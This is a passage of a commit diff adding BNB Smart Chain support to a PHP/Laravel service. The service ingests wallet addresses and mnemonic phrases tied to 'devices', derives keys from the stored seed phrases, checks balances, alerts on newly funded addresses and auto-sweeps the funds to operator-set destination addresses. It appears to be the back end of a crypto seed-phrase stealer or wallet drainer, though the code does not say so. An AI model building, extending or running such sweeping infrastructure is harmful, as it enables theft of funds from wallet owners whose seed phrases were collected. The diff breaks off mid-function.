feat: bnb
This commit is contained in:
@@ -21,6 +21,7 @@ class TransferRecordController extends Controller
|
||||
'chains' => [
|
||||
'tron' => 'TRON',
|
||||
'eth' => 'ETH',
|
||||
'bsc' => 'BSC',
|
||||
'btc' => 'BTC',
|
||||
],
|
||||
'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'],
|
||||
|
||||
@@ -159,9 +159,10 @@ class WalletAddressController extends Controller
|
||||
if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') {
|
||||
$amount = null;
|
||||
} else {
|
||||
$decimals = match ($asset) {
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
$decimals = match (true) {
|
||||
$asset === 'ETH', $asset === 'BNB' => 18,
|
||||
$asset === 'BTC' => 8,
|
||||
$asset === 'USDT' && $chain === 'bsc' => 18,
|
||||
default => 6,
|
||||
};
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
|
||||
@@ -207,6 +208,9 @@ class WalletAddressController extends Controller
|
||||
if (str_contains($type, 'TRON') || $type === 'TRX') {
|
||||
return 'tron';
|
||||
}
|
||||
if (str_contains($type, 'BSC') || str_contains($type, 'BNB') || str_contains($type, 'BINANCE')) {
|
||||
return 'bsc';
|
||||
}
|
||||
if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) {
|
||||
return 'eth';
|
||||
}
|
||||
@@ -234,6 +238,7 @@ class WalletAddressController extends Controller
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth' => ['ETH', 'USDT', 'BNB'],
|
||||
'bsc' => ['BNB', 'USDT'],
|
||||
'btc' => ['BTC'],
|
||||
default => ['USDT', 'TRX'],
|
||||
};
|
||||
|
||||
@@ -379,7 +379,8 @@ class AutoTransferService
|
||||
{
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => ['USDT', 'TRX'],
|
||||
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'],
|
||||
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
|
||||
'BSC', 'BNB', 'BINANCE' => ['BNB', 'USDT'],
|
||||
'BTC', 'BITCOIN' => ['BTC'],
|
||||
default => [],
|
||||
};
|
||||
@@ -390,6 +391,7 @@ class AutoTransferService
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => 'tron',
|
||||
'ETH', 'ETHEREUM', 'EVM' => 'eth',
|
||||
'BSC', 'BNB', 'BINANCE' => 'bsc',
|
||||
'BTC', 'BITCOIN' => 'btc',
|
||||
default => null,
|
||||
};
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
/**
|
||||
* BSC (chain id 56). Same BIP44 path and address as Ethereum.
|
||||
* Native coin is BNB. USDT is BEP20.
|
||||
*/
|
||||
class BscDriver extends EthDriver
|
||||
{
|
||||
public function chainId(): string
|
||||
{
|
||||
return 'bsc';
|
||||
}
|
||||
|
||||
protected function configPrefix(): string
|
||||
{
|
||||
return 'coruna.bsc';
|
||||
}
|
||||
}
|
||||
@@ -9,6 +9,7 @@ class ChainManager
|
||||
public function __construct(
|
||||
private readonly TronDriver $tron,
|
||||
private readonly EthDriver $eth,
|
||||
private readonly BscDriver $bsc,
|
||||
private readonly BtcDriver $btc,
|
||||
private readonly SolDriver $sol,
|
||||
) {}
|
||||
@@ -18,6 +19,7 @@ class ChainManager
|
||||
return match (strtolower($chain)) {
|
||||
'tron', 'trx' => $this->tron,
|
||||
'eth', 'ethereum' => $this->eth,
|
||||
'bsc', 'bnb', 'binance' => $this->bsc,
|
||||
'btc', 'bitcoin' => $this->btc,
|
||||
'sol', 'solana' => $this->sol,
|
||||
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
|
||||
|
||||
@@ -76,18 +76,14 @@ class EthDriver implements ChainDriver
|
||||
// fall through to token
|
||||
}
|
||||
|
||||
foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) {
|
||||
$contract = trim((string) config($key, ''));
|
||||
if ($contract === '') {
|
||||
continue;
|
||||
}
|
||||
|
||||
$contract = trim((string) config($this->configPrefix().'.usdt_contract', ''));
|
||||
if ($contract !== '') {
|
||||
try {
|
||||
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// try the next token
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -129,14 +125,14 @@ class EthDriver implements ChainDriver
|
||||
|
||||
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
|
||||
{
|
||||
$chainId = (int) config('coruna.eth.chain_id', 1);
|
||||
$chainId = (int) config($this->configPrefix().'.chain_id', 1);
|
||||
$nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']);
|
||||
$gasPriceHex = $this->rpc('eth_gasPrice', []);
|
||||
if (! is_string($nonceHex) || ! is_string($gasPriceHex)) {
|
||||
throw new RuntimeException('Failed to fetch nonce/gasPrice');
|
||||
}
|
||||
|
||||
$gasLimit = trim((string) config('coruna.eth.gas_limit', ''));
|
||||
$gasLimit = trim((string) config($this->configPrefix().'.gas_limit', ''));
|
||||
if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) {
|
||||
$gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000';
|
||||
}
|
||||
@@ -190,19 +186,21 @@ class EthDriver implements ChainDriver
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
protected function configPrefix(): string
|
||||
{
|
||||
return 'coruna.eth';
|
||||
}
|
||||
|
||||
private function tokenDecimals(string $contract): int
|
||||
{
|
||||
$normalized = EthAddress::normalize($contract);
|
||||
$known = [
|
||||
EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6),
|
||||
EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18),
|
||||
];
|
||||
unset($known['']);
|
||||
if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) {
|
||||
return $known[$normalized];
|
||||
$usdt = EthAddress::normalize((string) config($this->configPrefix().'.usdt_contract', ''));
|
||||
$decimals = (int) config($this->configPrefix().'.usdt_decimals', 6);
|
||||
if ($normalized !== '' && $usdt !== '' && $normalized === $usdt && $decimals > 0) {
|
||||
return $decimals;
|
||||
}
|
||||
|
||||
return max(1, (int) config('coruna.eth.usdt_decimals', 6));
|
||||
return max(1, $decimals > 0 ? $decimals : 6);
|
||||
}
|
||||
|
||||
private function toTokenUnits(string $amount, int $decimals): string
|
||||
@@ -248,7 +246,7 @@ class EthDriver implements ChainDriver
|
||||
|
||||
private function rpc(string $method, array $params): mixed
|
||||
{
|
||||
$url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/');
|
||||
$url = rtrim((string) config($this->configPrefix().'.rpc_url', 'https://ethereum.publicnode.com'), '/');
|
||||
$resp = $this->http()->post($url, [
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
@@ -256,15 +254,15 @@ class EthDriver implements ChainDriver
|
||||
'params' => $params,
|
||||
]);
|
||||
if (! $resp->successful()) {
|
||||
throw new RuntimeException('ETH RPC HTTP '.$resp->status());
|
||||
throw new RuntimeException(strtoupper($this->chainId()).' RPC HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid ETH RPC response');
|
||||
throw new RuntimeException('Invalid '.strtoupper($this->chainId()).' RPC response');
|
||||
}
|
||||
if (isset($json['error'])) {
|
||||
$msg = $json['error']['message'] ?? json_encode($json['error']);
|
||||
throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||
throw new RuntimeException(strtoupper($this->chainId()).' RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||
}
|
||||
|
||||
return $json['result'] ?? null;
|
||||
|
||||
@@ -859,11 +859,7 @@ class IngestService
|
||||
$balance = '';
|
||||
}
|
||||
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('source', $source)
|
||||
->first();
|
||||
$existing = $this->findAddressRow($device->id, $address, $source, $chainType);
|
||||
|
||||
$beforeCoins = $existing?->coinSnapshot();
|
||||
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
|
||||
@@ -877,10 +873,19 @@ class IngestService
|
||||
$attrs['monitor'] = 1;
|
||||
}
|
||||
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'source' => $source],
|
||||
$attrs
|
||||
);
|
||||
if ($existing !== null) {
|
||||
$existing->fill($attrs);
|
||||
$existing->save();
|
||||
$addr = $existing;
|
||||
} else {
|
||||
$addr = new WalletAddress([
|
||||
'device_id' => $device->id,
|
||||
'address' => $address,
|
||||
'source' => $source,
|
||||
]);
|
||||
$addr->fill($attrs);
|
||||
$addr->save();
|
||||
}
|
||||
|
||||
if ($addr->mnemonic_id === null) {
|
||||
$this->mnemonicLinker->linkAddress($addr);
|
||||
@@ -897,6 +902,19 @@ class IngestService
|
||||
$this->enableMonitorOrDisable($addr);
|
||||
}
|
||||
|
||||
if (! $existing && in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true)) {
|
||||
$bsc = $this->balances->ensureBscForEthAddress($addr);
|
||||
if ($bsc !== null && $bsc->wasRecentlyCreated) {
|
||||
$this->enableMonitorOrDisable($bsc);
|
||||
$notify[] = [
|
||||
'address' => (string) $bsc->address,
|
||||
'chain' => 'BSC',
|
||||
'balance' => $bsc->balanceDisplayLine(),
|
||||
'source' => $source,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
$balanceSummary = $addr->balanceDisplayLine();
|
||||
$shouldNotify = ! $existing
|
||||
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
||||
@@ -916,6 +934,25 @@ class IngestService
|
||||
}
|
||||
}
|
||||
|
||||
private function findAddressRow(int $deviceId, string $address, ?string $source, string $chainType): ?WalletAddress
|
||||
{
|
||||
$aliases = match (true) {
|
||||
in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true) => ['ETH', 'ETHEREUM', 'EVM'],
|
||||
in_array($chainType, ['BSC', 'BNB', 'BINANCE'], true) => ['BSC', 'BNB', 'BINANCE'],
|
||||
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
|
||||
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
|
||||
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
|
||||
default => [$chainType],
|
||||
};
|
||||
|
||||
return WalletAddress::query()
|
||||
->where('device_id', $deviceId)
|
||||
->where('address', $address)
|
||||
->where('source', $source)
|
||||
->whereIn('chain_type', $aliases)
|
||||
->first();
|
||||
}
|
||||
|
||||
/**
|
||||
* Two-field monitor model:
|
||||
* monitor — user-facing switch (default ON for new addresses)
|
||||
|
||||
@@ -41,7 +41,7 @@ class MnemonicAddressLinker
|
||||
}
|
||||
|
||||
$target = (string) $address->address;
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
|
||||
|
||||
foreach ($mnemonics as $mnemonicRow) {
|
||||
$phrase = $mnemonicRow->mnemonic;
|
||||
@@ -125,7 +125,7 @@ class MnemonicAddressLinker
|
||||
continue;
|
||||
}
|
||||
|
||||
$lookup = $driver->chainId() === 'eth'
|
||||
$lookup = in_array($driver->chainId(), ['eth', 'bsc'], true)
|
||||
? strtolower((string) $address->address)
|
||||
: (string) $address->address;
|
||||
|
||||
@@ -193,7 +193,7 @@ class MnemonicAddressLinker
|
||||
*/
|
||||
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
|
||||
{
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
|
||||
$map = [];
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
|
||||
@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
|
||||
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
|
||||
* TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
|
||||
* Fully inactive mnemonics stay out of the DB and are not monitored; the
|
||||
* wallets view previews one index-0 address per chain marked 未激活.
|
||||
* Activated rows are persisted with monitor on.
|
||||
@@ -26,6 +26,7 @@ class MnemonicWalletDiscovery
|
||||
private const CHAINS = [
|
||||
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||
['chain' => 'eth', 'chain_type' => 'ETH'],
|
||||
['chain' => 'bsc', 'chain_type' => 'BSC'],
|
||||
['chain' => 'btc', 'chain_type' => 'BTC'],
|
||||
['chain' => 'sol', 'chain_type' => 'SOLANA'],
|
||||
];
|
||||
@@ -108,7 +109,8 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
$aliases = match ($chain) {
|
||||
'tron' => ['TRON', 'TRX'],
|
||||
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
|
||||
'eth' => ['ETH', 'ETHEREUM', 'EVM'],
|
||||
'bsc' => ['BSC', 'BNB', 'BINANCE'],
|
||||
'btc' => ['BTC', 'BITCOIN'],
|
||||
'sol' => ['SOL', 'SOLANA'],
|
||||
default => [strtoupper($chain)],
|
||||
@@ -216,6 +218,7 @@ class MnemonicWalletDiscovery
|
||||
return match ($chain) {
|
||||
'tron' => $this->probeTron($driver, $address),
|
||||
'eth' => $this->probeEth($driver, $address),
|
||||
'bsc' => $this->probeBsc($driver, $address),
|
||||
'btc' => $this->probeBtc($driver, $address),
|
||||
'sol' => $this->probeSol($driver, $address),
|
||||
default => ['activated' => false, 'coins' => []],
|
||||
@@ -259,7 +262,6 @@ class MnemonicWalletDiscovery
|
||||
'coins' => [
|
||||
'eth' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||
'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
|
||||
],
|
||||
];
|
||||
}
|
||||
@@ -267,6 +269,27 @@ class MnemonicWalletDiscovery
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeBsc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
try {
|
||||
$bnb = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
|
||||
}
|
||||
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
|
||||
if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => [
|
||||
'bnb' => $bnb,
|
||||
'usdt' => $usdt,
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
private function probeBtc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($driver instanceof BtcDriver) {
|
||||
@@ -329,6 +352,7 @@ class MnemonicWalletDiscovery
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'address' => $address,
|
||||
'source' => $source !== '' ? $source : null,
|
||||
'chain_type' => $chainType,
|
||||
]);
|
||||
|
||||
$row->chain_type = $chainType;
|
||||
@@ -395,7 +419,8 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
return match ($chain) {
|
||||
'tron' => ['trx' => '0', 'usdt' => '0'],
|
||||
'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'],
|
||||
'eth' => ['eth' => '0', 'usdt' => '0'],
|
||||
'bsc' => ['bnb' => '0', 'usdt' => '0'],
|
||||
'btc' => ['btc' => '0'],
|
||||
'sol' => ['sol' => '0', 'usdt' => '0'],
|
||||
default => [],
|
||||
|
||||
@@ -48,7 +48,9 @@ class SettingsService
|
||||
'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
|
||||
'transfer.to_address' => config('coruna.transfer.to_address'),
|
||||
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
|
||||
'transfer.to_address_bsc' => config('coruna.transfer.to_address_bsc'),
|
||||
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
|
||||
'transfer.to_address_sol' => config('coruna.transfer.to_address_sol'),
|
||||
'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
|
||||
'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
|
||||
'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
|
||||
@@ -113,7 +115,9 @@ class SettingsService
|
||||
'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
|
||||
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
|
||||
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
|
||||
'transfer.to_address_bsc' => (string) (config('coruna.transfer.to_address_bsc') ?: ''),
|
||||
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
|
||||
'transfer.to_address_sol' => (string) (config('coruna.transfer.to_address_sol') ?: ''),
|
||||
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
|
||||
'transfer.fee_private_key_tron' => '',
|
||||
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
|
||||
@@ -156,6 +160,7 @@ class SettingsService
|
||||
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
|
||||
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
|
||||
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
|
||||
'transfer.to_address_sol' => config(['coruna.transfer.to_address_sol' => $value]),
|
||||
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
|
||||
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
|
||||
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
|
||||
|
||||
@@ -33,6 +33,11 @@ class TransferService
|
||||
?string $operator = null,
|
||||
): array {
|
||||
$chain = strtolower(trim($chain));
|
||||
$asset = strtoupper(trim($asset));
|
||||
// Native BNB and later BEP20 USDT settlement both happen on BSC.
|
||||
if ($asset === 'BNB') {
|
||||
$chain = 'bsc';
|
||||
}
|
||||
$record = [
|
||||
'from_address' => $fromAddress,
|
||||
'to_address' => null,
|
||||
@@ -85,7 +90,7 @@ class TransferService
|
||||
}
|
||||
$record['amount'] = $amount;
|
||||
|
||||
$this->assertAmountWithinLimit($amount, $asset);
|
||||
$this->assertAmountWithinLimit($amount, $asset, $chain);
|
||||
|
||||
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
||||
if ($resolved === null) {
|
||||
@@ -108,13 +113,7 @@ class TransferService
|
||||
$amount,
|
||||
$this->usdtContract($chain),
|
||||
),
|
||||
'BNB' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
$to,
|
||||
$amount,
|
||||
$this->bnbContract($chain),
|
||||
),
|
||||
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
@@ -422,7 +421,9 @@ class TransferService
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
|
||||
'bsc', 'bnb', 'binance' => $this->bscToAddress(),
|
||||
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
|
||||
'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')),
|
||||
default => trim((string) config('coruna.transfer.to_address', '')),
|
||||
};
|
||||
}
|
||||
@@ -431,7 +432,9 @@ class TransferService
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
|
||||
'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured',
|
||||
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
|
||||
'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
|
||||
default => 'TRANSFER_TO_ADDRESS is not configured',
|
||||
};
|
||||
}
|
||||
@@ -440,6 +443,7 @@ class TransferService
|
||||
{
|
||||
$contract = match ($chain) {
|
||||
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
|
||||
'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')),
|
||||
default => trim((string) config('coruna.tron.usdt_contract', '')),
|
||||
};
|
||||
if ($contract === '') {
|
||||
@@ -449,39 +453,32 @@ class TransferService
|
||||
return $contract;
|
||||
}
|
||||
|
||||
private function bnbContract(string $chain): string
|
||||
private function bscToAddress(): string
|
||||
{
|
||||
if (! in_array($chain, ['eth', 'ethereum'], true)) {
|
||||
throw new RuntimeException('BNB is only supported on ETH');
|
||||
}
|
||||
$contract = trim((string) config('coruna.eth.bnb_contract', ''));
|
||||
if ($contract === '') {
|
||||
throw new RuntimeException('BNB contract is not configured for '.$chain);
|
||||
$bsc = trim((string) config('coruna.transfer.to_address_bsc', ''));
|
||||
if ($bsc !== '') {
|
||||
return $bsc;
|
||||
}
|
||||
|
||||
return $contract;
|
||||
return trim((string) config('coruna.transfer.to_address_eth', ''));
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
||||
{
|
||||
$balance = match ($asset) {
|
||||
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
|
||||
'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
||||
'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
$reserveKey = match ($asset) {
|
||||
'TRX' => 'coruna.transfer.trx_fee_reserve',
|
||||
'ETH' => 'coruna.transfer.eth_fee_reserve',
|
||||
'BNB' => 'coruna.transfer.bnb_fee_reserve',
|
||||
'BTC' => 'coruna.transfer.btc_fee_reserve',
|
||||
default => null,
|
||||
};
|
||||
$scale = match ($asset) {
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
$scale = $this->assetDecimals($asset, $chain);
|
||||
|
||||
if ($reserveKey !== null) {
|
||||
$reserve = (string) config($reserveKey, '0');
|
||||
@@ -524,7 +521,7 @@ class TransferService
|
||||
}
|
||||
|
||||
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
|
||||
|
||||
foreach ($addressRows as $row) {
|
||||
if ($row->mnemonic_id !== null) {
|
||||
@@ -586,13 +583,22 @@ class TransferService
|
||||
return null;
|
||||
}
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||
private function assetDecimals(string $asset, string $chain): int
|
||||
{
|
||||
$decimals = match ($asset) {
|
||||
if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) {
|
||||
return max(1, (int) config('coruna.bsc.usdt_decimals', 18));
|
||||
}
|
||||
|
||||
return match ($asset) {
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
}
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void
|
||||
{
|
||||
$decimals = $this->assetDecimals($asset, $chain);
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
|
||||
@@ -11,7 +11,8 @@ use Illuminate\Support\Facades\Log;
|
||||
/**
|
||||
* Live on-chain balance refresh for wallet_addresses.
|
||||
*
|
||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only.
|
||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20); same address also reads BSC BNB.
|
||||
* BSC: native BNB + USDT (BEP20). BTC: BTC only.
|
||||
* SOL: SOL + USDT (SPL).
|
||||
*/
|
||||
class WalletBalanceService
|
||||
@@ -31,7 +32,8 @@ class WalletBalanceService
|
||||
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => $this->refreshTron($address),
|
||||
'ETH', 'ETHEREUM' => $this->refreshEth($address),
|
||||
'ETH', 'ETHEREUM', 'EVM' => $this->refreshEth($address),
|
||||
'BSC', 'BNB', 'BINANCE' => $this->refreshBsc($address),
|
||||
'BTC', 'BITCOIN' => $this->refreshBtc($address),
|
||||
'SOL', 'SOLANA' => $this->refreshSol($address),
|
||||
default => false,
|
||||
@@ -54,9 +56,10 @@ class WalletBalanceService
|
||||
if ($contract !== '') {
|
||||
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
|
||||
}
|
||||
$bnbContract = trim((string) config('coruna.eth.bnb_contract', ''));
|
||||
if ($bnbContract !== '') {
|
||||
$attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract);
|
||||
$bscCoins = $this->bscCoins($addr);
|
||||
if ($bscCoins !== null) {
|
||||
$attrs['bnb'] = $bscCoins['bnb'];
|
||||
$this->persistBscSibling($address, $bscCoins);
|
||||
}
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
@@ -79,6 +82,144 @@ class WalletBalanceService
|
||||
}
|
||||
}
|
||||
|
||||
public function refreshBsc(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
if ($addr === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$coins = $this->bscCoins($addr);
|
||||
if ($coins === null) {
|
||||
return false;
|
||||
}
|
||||
$this->persistCoins($address, [
|
||||
'bnb' => $coins['bnb'],
|
||||
'usdt' => $coins['usdt'],
|
||||
]);
|
||||
|
||||
Log::info('bsc balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'bnb' => $address->bnb,
|
||||
'usdt' => $address->usdt,
|
||||
]);
|
||||
|
||||
return true;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('bsc balance refresh failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Native BNB + USDT-BEP20 for an EVM address. Null when the BSC RPC fails.
|
||||
*
|
||||
* @return array{bnb: string, usdt: string}|null
|
||||
*/
|
||||
private function bscCoins(string $address): ?array
|
||||
{
|
||||
try {
|
||||
$driver = $this->chains->resolve('bsc');
|
||||
$coins = [
|
||||
'bnb' => $driver->getNativeBalance($address),
|
||||
'usdt' => '0',
|
||||
];
|
||||
$contract = trim((string) config('coruna.bsc.usdt_contract', ''));
|
||||
if ($contract !== '') {
|
||||
$coins['usdt'] = $driver->getTokenBalance($address, $contract);
|
||||
}
|
||||
|
||||
return $coins;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('bsc balance query failed: '.$e->getMessage(), [
|
||||
'address' => $address,
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* When an ETH address is first stored, also keep a BSC row if that same
|
||||
* address holds native BNB or USDT-BEP20.
|
||||
*/
|
||||
public function ensureBscForEthAddress(WalletAddress $ethRow): ?WalletAddress
|
||||
{
|
||||
$addr = trim((string) $ethRow->address);
|
||||
if ($addr === '' || ! preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$coins = $this->bscCoins($addr);
|
||||
if ($coins === null) {
|
||||
return null;
|
||||
}
|
||||
if (bccomp($coins['bnb'], '0', 18) <= 0 && bccomp($coins['usdt'], '0', 18) <= 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $this->persistBscSibling($ethRow, $coins);
|
||||
}
|
||||
|
||||
/**
|
||||
* Keep a BSC row for the same device address so BEP20 USDT can be swept on BSC
|
||||
* without overwriting the ETH row's ERC20 USDT.
|
||||
*
|
||||
* @param array{bnb: string, usdt: string} $coins
|
||||
*/
|
||||
private function persistBscSibling(WalletAddress $ethRow, array $coins): ?WalletAddress
|
||||
{
|
||||
if ($ethRow->device_id === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$hasFunds = bccomp($coins['bnb'], '0', 18) > 0 || bccomp($coins['usdt'], '0', 18) > 0;
|
||||
$query = WalletAddress::query()
|
||||
->where('device_id', $ethRow->device_id)
|
||||
->where('address', $ethRow->address)
|
||||
->where('chain_type', 'BSC');
|
||||
if ($ethRow->source === null || $ethRow->source === '') {
|
||||
$query->where(function ($q) {
|
||||
